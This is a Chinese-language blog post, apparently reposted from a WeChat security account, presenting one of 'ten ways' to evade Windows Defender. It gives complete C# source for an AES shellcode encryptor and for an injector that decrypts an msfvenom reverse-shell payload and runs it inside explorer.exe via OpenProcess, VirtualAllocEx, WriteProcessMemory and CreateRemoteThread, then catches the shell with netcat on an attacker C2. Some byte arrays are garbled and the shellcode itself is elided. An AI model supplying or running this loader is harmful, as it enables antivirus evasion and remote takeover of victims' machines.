windows defender免杀十种方法5: 借尸还魂
2023-5-19 07:14:6 Author: 奶牛安全(查看原文) 阅读量:34 收藏

环境

  • 带有 Ubuntu Linux AMI 的 AWS EC2 作为攻击者 C2 服务器。
  • 带有 Windows Server 2019 AMI 的 AWS EC2 作为受害者机器。
  • 安装 Visual Studio 2022 社区的本地 Windows 10 计算机用于恶意软件开发和编译
  • 本地 Kali Linux 攻击机。

过程

Shellcode 注入是一种非常著名的技术,它包括插入/注入与位置无关的 Shellcode到指定的受害进程中最终执行它。这可以通过多种方式实现。请参阅下图,了解对众所周知的图片的一个很好的总结。

但是,对于本文,将讨论和演示以下方法:

  1. 使用Process.GetProcessByName定位explorer进程并获取其 PID
  2. 通过以 0x001F0FFF 访问权限的OpenProcess打开explorer进程。
  3. 通过VirtualAllocExexplorer 进程中为 shellcode 分配内存。
  4. 通过WriteProcessMemory在进程中写入shellcode
  5. 最后,创建一个线程,通过 CreateRemoteThread 执行位置无关 Shellcode

当然,拥有包含恶意 shellcode 的可执行文件将是一个非常糟糕的主意,因为它会立即被 Defender 标记。为了解决这个问题,将首先使用 AES-128 CBCPKCS7 填充对 shellcode 进行加密,以隐藏其真实行为和组成,直到运行时(Defender 真的很弱)。

首先,需要生成初始 shellcode。对于这个POC,将使用来自 msfvenom 的简单 TCP 反向 shell。

一旦有了它,需要一种方法来加密它。为此,使用以下 C# 代码,但可以以其他方式(例如,cyberchef)对其进行加密。

//Encrypter.cs
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace AesEnc
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] buf = new byte[] { 0xfc,0x48,0x83, etc. };
            byte[] Key = new byte[]{ 0x000x010x020x030x040x050x060x070x080x090x0A0x0B0x0C0x0D0x0E0x0F };
            byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw=="); 
            byte[] aesshell = EncryptShell(buf, Key, IV);
            StringBuilder hex = new StringBuilder(aesshell.Length * 2);
            int totalCount = aesshell.Length;
            foreach (byte b in aesshell)
            {
                if ((b + 1) == totalCount) 
                {
                    hex.AppendFormat("0x{0:x2}", b);
                }
                else
                {
                    hex.AppendFormat("0x{0:x2}, ", b);
                }
            }
            Console.WriteLine(hex);
           
        }

        private static byte[] GetIV(int num)
        {
            var randomBytes = new byte[num]; 
            using (var rngCsp = new RNGCryptoServiceProvider())
            {
                rngCsp.GetBytes(randomBytes);
            }

            return randomBytes;
        }

        private static byte[] GetKey(int size)
        {
            char[] caRandomChars = "[email protected]#$%^&*()".ToCharArray();
            byte[] CKey = new byte[size];
            using (RNGCryptoServiceProvider crypto = new RNGCryptoServiceProvider())
            {
                crypto.GetBytes(CKey);
            }
            return CKey;
        }

        private static byte[] EncryptShell(byte[] CShellcode, byte[] key, byte[] iv)
        {
            using (var aes = Aes.Create())
            {
                aes.KeySize = 128;
                aes.BlockSize = 128;
                aes.Padding = PaddingMode.PKCS7;
                aes.Mode = CipherMode.CBC;
                aes.Key = key;
                aes.IV = iv;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))
                {
                    return AESEncryptedShellCode(CShellcode, encryptor);
                }
            }
        }

        private static byte[] AESEncryptedShellCode(byte[] CShellcode, ICryptoTransform cryptoTransform)
        {
            using (var msEncShellCode = new MemoryStream())
            using (var cryptoStream = new CryptoStream(msEncShellCode, cryptoTransform, CryptoStreamMode.Write))
            {
                cryptoStream.Write(CShellcode, 0, CShellcode.Length);
                cryptoStream.FlushFinalBlock();
                return msEncShellCode.ToArray();
            }
        }
    }
}

对上面把shellcode放在buf变量的代码进行编译和运行会产生用于注入程序使用的加密代码。

对于这个 PoC,选择了 C# 作为注入器的语言,但可以使用任何其他支持 Win32 API 的语言(C/C++``、Rust 等)

最后,注入器的代码如下:

//Injector.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.IO;
using System.Text;
using System.Threading.Tasks;
using System.Diagnostics;
using System.Security.Cryptography;
using System.Runtime.InteropServices;

namespace AESInject
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int
        processId
)
;
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
        [DllImport("kernel32.dll")]
        static extern IntPtr GetCurrentProcess();
        
        static void Main(string[] args)
        {
            byte[] Key = new byte[]{ 0x000x010x020x030x040x050x060x070x080x090x0A0x0B0x0C0x0D0x0E0x0F };
            byte[] IV = Convert.FromBase64String("AAECAwQFBgcICQoLDA0ODw==");
            byte[] buf = new byte[] { 0x2b0xc30xb0, etc}; //your encrypted bytes here
            byte[] DShell = AESDecrypt(buf, Key, IV);
            StringBuilder hexCodes = new StringBuilder(DShell.Length * 2);
            foreach (byte b in DShell)
            {
                hexCodes.AppendFormat("0x{0:x2},", b);
            }
            int size = DShell.Length;
            Process[] expProc = Process.GetProcessesByName("explorer"); //feel free to choose other processes
            int pid = expProc[0].Id;
            IntPtr hProcess = OpenProcess(0x001F0FFFfalse, pid);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x10000x30000x40);
            IntPtr outSize;
            WriteProcessMemory(hProcess, addr, DShell, DShell.Length, out outSize);
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

        }

        private static byte[] AESDecrypt(byte[] CEncryptedShell, byte[] key, byte[] iv)
        {
            using (var aes = Aes.Create())
            {
                aes.KeySize = 128;
                aes.BlockSize = 128;
                aes.Padding = PaddingMode.PKCS7;
                aes.Mode = CipherMode.CBC;
                aes.Key = key;
                aes.IV = iv;
                using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
                {
                    return GetDecrypt(CEncryptedShell, decryptor);
                }
            }
        }
        private static byte[] GetDecrypt(byte[] data, ICryptoTransform cryptoTransform)
        {
            using (var ms = new MemoryStream())
            using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
            {
                cryptoStream.Write(data, 0, data.Length);
                cryptoStream.FlushFinalBlock();
                return ms.ToArray();
            }
        }
    }

}

最后,在攻击者/C2 机器上使用 netcat 设置一个监听器,并在受害者机器上执行 Injector

  • 执行注入器

  • 获取反向shell


文章来源: http://mp.weixin.qq.com/s?__biz=MzU4NjY0NTExNA==&mid=2247489462&idx=1&sn=c45fc7d4034e173a64f101dd4d2a2efd&chksm=fdf97ca3ca8ef5b5be009c235d1a80b942cf49433cbd6e34b55b33eb9de892bda0230cc315ea#rd
如有侵权请联系:admin#unsafe.sh